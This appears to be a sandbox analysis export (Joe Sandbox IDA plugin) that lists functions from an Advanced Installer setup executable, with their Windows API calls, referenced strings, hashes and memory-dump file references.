LeaveCriticalSection.KERNEL32(?), ref: 00BC4548

Strings

v, xrefs: 00BC4548

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 2540ed67d1111f2ae87650db16ec1bf8a9e7278205aa0577345f7af8f75df627
Instruction ID: 2cc2cbfa325923c03c328966e7cb6eec0cc891e3e6c8b5ba03663d615326cddf
Opcode Fuzzy Hash: 2540ed67d1111f2ae87650db16ec1bf8a9e7278205aa0577345f7af8f75df627
Instruction Fuzzy Hash: 9021A636900244DFDF11CF64D844BA97BB4FB16324F2402AAE859AB396D7325A49CB60

Function 00BC4570 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,02141699), ref: 00BC45DA
EnterCriticalSection.KERNEL32(?,02141699), ref: 00BC45E7
LeaveCriticalSection.KERNEL32(?), ref: 00BC462E

Strings

v, xrefs: 00BC462E

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: dbcef540c1c52c0fe3964965c0f5f1a2ff215e0475321c6db06fd891bda2fb8a
Instruction ID: c14cb5f8b105733ef2822bae78fbc66579d35e0b4ae0b01e617b4f3ee149995f
Opcode Fuzzy Hash: dbcef540c1c52c0fe3964965c0f5f1a2ff215e0475321c6db06fd891bda2fb8a
Instruction Fuzzy Hash: 1821C435900244DFDF11CF64DC44B99BBB4FF16724F2006AAEC55AB292D7329A49CBA0

Function 00D05CA0 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,00D05062,?,?,?,?,?,00000003,00000000,02141699,00000000), ref: 00D05CB2
GetLastError.KERNEL32(?,?,?,00D05062,?,?,?,?,?,00000003,00000000,02141699,00000000), ref: 00D05CDF
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,00D05062,?,?,?,?,?,00000003,00000000,02141699,00000000), ref: 00D05D15
SetEvent.KERNEL32(?,?,?,?,00D05062,?,?,?,?,?,00000003,00000000,02141699,00000000), ref: 00D05D38

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Event$ErrorLastObjectResetSingleWait
String ID:
API String ID: 708712559-0
Opcode ID: 6d765198d7ffb4722eeea3df0ec781c3fdd94a365998e8d5d902624d5f099ab3
Instruction ID: 25a113d5410f3ebc340570d197b7006145ec0d378656fc0e8202abb21c7709f3
Opcode Fuzzy Hash: 6d765198d7ffb4722eeea3df0ec781c3fdd94a365998e8d5d902624d5f099ab3
Instruction Fuzzy Hash: 79114F31604B409FE7319B1AE848B577BA5AB61324F184D1EE88B975E9C360ECC5CB70

Function 00BC43C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,02141699,?), ref: 00BC441D
EnterCriticalSection.KERNEL32(?,02141699,?), ref: 00BC442A
LeaveCriticalSection.KERNEL32(?), ref: 00BC4452

Strings

v, xrefs: 00BC4452

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 3424bd533d3463be52578b278525226032f229a05ec8deadcfe3423a4ecede42
Instruction ID: e77f731a81b8e9ff744d0097b26d0f3713bc021d429e776a752dcd7535be93fd
Opcode Fuzzy Hash: 3424bd533d3463be52578b278525226032f229a05ec8deadcfe3423a4ecede42
Instruction Fuzzy Hash: 6921E936D04244DFDF05CF64D850BE9BBB4EB56324F2043ADD855A7392C7325A49CBA0

Function 00BC1D90 Relevance: 6.1, APIs: 4, Instructions: 60windowCOMMON

Download Yara Rule

APIs

BitBlt.GDI32(?,?,?,?,?,?,?,?,00CC0020), ref: 00BC1DE1
SelectObject.GDI32(?,?), ref: 00BC1DEC
DeleteObject.GDI32(?), ref: 00BC1DFE
DeleteDC.GDI32(?), ref: 00BC1E23

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: DeleteObject$Select
String ID:
API String ID: 207189511-0
Opcode ID: 76f57a5d78cc978dc1d0947c679f4107a99300a7cf5ae383ace9b55e82bdbf19
Instruction ID: 2dac44ad922ac5843cd46db3501a72dc904a379efcd499e1715c4fd0aeb6a54d
Opcode Fuzzy Hash: 76f57a5d78cc978dc1d0947c679f4107a99300a7cf5ae383ace9b55e82bdbf19
Instruction Fuzzy Hash: 9A110A71600606AFD7108F5ADD44F6ABBFDFB49720F10466AE814E3690D771A924CBA0

Function 00BC1E40 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00BC1E9B
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00BC1EB4
SelectObject.GDI32(?,00000000), ref: 00BC1EC0
SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BC1ED9

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CompatibleCreate$BitmapObjectSelectViewport
String ID:
API String ID: 1881423421-0
Opcode ID: 642e0c851d61c28f64b82cc3482b1f4ae54ce935ddc3985460bb0cdf620c173b
Instruction ID: c18214432b6a559042967cc452bf92ba3a7bbdf192d88f4ab1f2fc9b1b88e4a2
Opcode Fuzzy Hash: 642e0c851d61c28f64b82cc3482b1f4ae54ce935ddc3985460bb0cdf620c173b
Instruction Fuzzy Hash: 0321F975504B04EFD720CF59C944B6ABBF8FB08710F108A2EE8A6D7AA0D771A944CB90

Function 00BBA910 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BBA93B
BitBlt.GDI32(00000000,?,?,?,00000000,?,00000000,00000000,00CC0020), ref: 00BBA966
DeleteDC.GDI32(?), ref: 00BBA96D
ReleaseDC.USER32(?,?), ref: 00BBA97A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ClientDeleteRectRelease
String ID:
API String ID: 2015589292-0
Opcode ID: 2688abedb34744e282ad236e3d0ad1120c6d6a45e0cfa250a89359b18879b0a0
Instruction ID: 9e1ef439e80aeddfa2d3183f23fafef2647829f5d52de09a6c9aeaa69e4f6bbd
Opcode Fuzzy Hash: 2688abedb34744e282ad236e3d0ad1120c6d6a45e0cfa250a89359b18879b0a0
Instruction Fuzzy Hash: AC011772204201AFD304DB69CC89F2BBBE9FB8C314F45852AF549D2661D770E818CBA2

Function 00D7DB49 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D7DB50
std::_Lockit::_Lockit.LIBCPMT ref: 00D7DB5B
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7DBC9

Part of subcall function 00D7DCAB: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D7DCC3

std::locale::_Setgloballocale.LIBCPMT ref: 00D7DB76

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: d7b80bd11d3c56be06c14d73a40700048800cc8670e53615a98b93b216a06df7
Instruction ID: 5bd197c05396813ac1fd7007559bac95732d8962b36610ea17c3fa0a46ab5d6e
Opcode Fuzzy Hash: d7b80bd11d3c56be06c14d73a40700048800cc8670e53615a98b93b216a06df7
Instruction Fuzzy Hash: 71019A366002249FC706FB60D88597CBB72EF84340B28801AE805B7391DF746E86CBE5

Function 00CE3690 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 270COMMON

Download Yara Rule

Strings

Remove-AppxPackage "%s" exit $error.count, xrefs: 00CE40BD
%s_%s_%s_%s_%s, xrefs: 00CE40A5

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID: %s_%s_%s_%s_%s$Remove-AppxPackage "%s" exit $error.count
API String ID: 275895251-4071003702
Opcode ID: 4b1ae54e38f5dbb19c5715ec21cd2840ae6498358432885e40649e1039ceb30a
Instruction ID: 449b03eba2e229cdde15548af2ee7479bf5378bf193accdc0aea68789fc3d186
Opcode Fuzzy Hash: 4b1ae54e38f5dbb19c5715ec21cd2840ae6498358432885e40649e1039ceb30a
Instruction Fuzzy Hash: 79A19D709012489FDB15DF69CC49B9ABBF4EF45310F1482E9E818A7292DB749F84CFA1

Function 00BB4BA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 231windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AtlAxWin140,?,?,?,80000000,00000000,00000000,?,00000000,00000000), ref: 00BB4C16
SendMessageW.USER32(?,00000000,00000000), ref: 00BB4D12

Part of subcall function 00BB6670: SysFreeString.OLEAUT32(00000000), ref: 00BB6713

Strings

AtlAxWin140, xrefs: 00BB4C0E

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateFreeMessageSendStringWindow
String ID: AtlAxWin140
API String ID: 4045344427-3842940177
Opcode ID: 4d84ca6b63716de65e2c12946679febf6a0c49cd511c64ed6c0e210f39be3999
Instruction ID: 7e4f4a5ec07ad3b8840bda3d1d3c82ecb38d0b5c16e05d0b95760b04e0b2a8ec
Opcode Fuzzy Hash: 4d84ca6b63716de65e2c12946679febf6a0c49cd511c64ed6c0e210f39be3999
Instruction Fuzzy Hash: 93911674600204AFDB14CF68C888BAABBF9FF48714F2085A9F9199B391D771ED05CB90

Function 00D93E6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D93EFD

Strings

pow, xrefs: 00D93ED5, 00D93EF2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 140793db20006d59c6306b1f32aebc7d1e3e22593f1cb00238b0700afe2d607c
Instruction ID: 84a03ab6538519312d352eb6fe1c99126d8e626fc71fb37164bea0ec111e0e17
Opcode Fuzzy Hash: 140793db20006d59c6306b1f32aebc7d1e3e22593f1cb00238b0700afe2d607c
Instruction Fuzzy Hash: 9F517971E082029ACF117F18C9013BA3BA1DF50740F388D99F4D5862E9EB358D999A76

Function 00CFFCA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

CloseHandle.KERNEL32(?,02141699,000000C9,00000000), ref: 00CFFE23
DeleteCriticalSection.KERNEL32(?,02141699,000000C9,00000000), ref: 00CFFEB1

Strings

<< Advanced Installer (x86) Log >>, xrefs: 00CFFD8F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$CloseCriticalDeleteHandleHeapProcessSection
String ID: << Advanced Installer (x86) Log >>
API String ID: 3699736680-396061572
Opcode ID: 0c927793b31663d8d52c8cddec986c06d2a7c6dc8e24600aea60d495fa571002
Instruction ID: b9117a990c5176b64992560f41a487dd0f47bd634e48dcdbdbe03240e5de4363
Opcode Fuzzy Hash: 0c927793b31663d8d52c8cddec986c06d2a7c6dc8e24600aea60d495fa571002
Instruction Fuzzy Hash: 4B61D070905645DFD700CF69C94879ABBF4FF8A314F1882ADD510EB791DB74AA08CB91

Function 00CBD230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,02141699), ref: 00CBD2D1

Strings

\\?\UNC\, xrefs: 00CBD2F8, 00CBD359
\\?\, xrefs: 00CBD3CE, 00CBD3F9

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Path
String ID: \\?\$\\?\UNC\
API String ID: 2875597873-3019864461
Opcode ID: 3ddaddfd6bcefbd48dc87b1a9bd3c3ecd0d7907e3409b8ff44c5cc9004fe5332
Instruction ID: 1a22a09711995a66ac0981e0da6cb98fe45323872d3c88fbbb9e7040376bfb41
Opcode Fuzzy Hash: 3ddaddfd6bcefbd48dc87b1a9bd3c3ecd0d7907e3409b8ff44c5cc9004fe5332
Instruction Fuzzy Hash: F451E370D046049BDB14DF68C885BEEB7F5FF95304F10861DE81267281EBB56949CBE1

Function 00D22750 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00000000,00000000,02141699,_pbl_evt,00000008,?,?,00E2FC80,00000001,02141699,00000000), ref: 00D227FE
CreateEventW.KERNEL32(00000000,00000001,00000001,?), ref: 00D2281B

Strings

_pbl_evt, xrefs: 00D227D2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Event$CreateOpen
String ID: _pbl_evt
API String ID: 2335040897-4023232351
Opcode ID: f601bbc50cb19dbf255b4a8d60db63adc246c13baa9404dc40a368daa10d6e40
Instruction ID: d9b6527cb4b79d9f9d64e806d737694702ec274a464c669708175f597479b2f0
Opcode Fuzzy Hash: f601bbc50cb19dbf255b4a8d60db63adc246c13baa9404dc40a368daa10d6e40
Instruction Fuzzy Hash: A751A371D04618EFDB10DFA8DC86BAEB7B4FB14714F108269F915B7680DB746A04CBA1

Function 00D05DC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

GetLastError.KERNEL32(?,00000000,FTP Server,0000000A), ref: 00D05E44
WaitForSingleObject.KERNEL32(?,0000000A,?,00000000,FTP Server,0000000A), ref: 00D05E7D

Strings

REST %u, xrefs: 00D05E11

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$ErrorHeapLastObjectProcessSingleWait
String ID: REST %u
API String ID: 1670056567-3183379045
Opcode ID: 46f00732bd7f28ee8fe66d5f1883bcc289ee05e33f3aca561395247764df5638
Instruction ID: 312dd9a4baecab9abcd42482de8d6e267b4e7b862c1aa6b653a2a2bee646fbeb
Opcode Fuzzy Hash: 46f00732bd7f28ee8fe66d5f1883bcc289ee05e33f3aca561395247764df5638
Instruction Fuzzy Hash: 9051E071500A059FD720CB69D884B2BB7E5FF01320F284669F89A9B6E1DB74ED44CF60

Function 00D01060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,02141699,?,?,00EA16AC), ref: 00D0109F
CreateDirectoryW.KERNEL32(?,00000000,?,00EA16AC), ref: 00D01100

Strings

ADVINST_LOGS, xrefs: 00D010D8

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateDirectoryPathTemp
String ID: ADVINST_LOGS
API String ID: 2885754953-2492584244
Opcode ID: 6dcb5081722615b64bc485bb29e1f9ac52c81f729e907ec64cd586bc8073adf2
Instruction ID: 115b95a1d0102383f87dd6f692a696c4d6b28e8c23290dbf4939a4ba1f7013ff
Opcode Fuzzy Hash: 6dcb5081722615b64bc485bb29e1f9ac52c81f729e907ec64cd586bc8073adf2
Instruction Fuzzy Hash: E951B179900219CACB249F68C8447BAB3F4FF14714F2846AEE959972D0EB354E81CBA1

Function 00CD4380 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000013FF,00000000,?,00000000,00000000,00000000,00000000,02141699,00E2F008), ref: 00CD43EC
LocalFree.KERNEL32(00000000,00000000,-00000002), ref: 00CD44E3

Part of subcall function 00CC0520: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00CC05F5

Strings

Failed to get Windows error message [win32 error 0x, xrefs: 00CD440A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
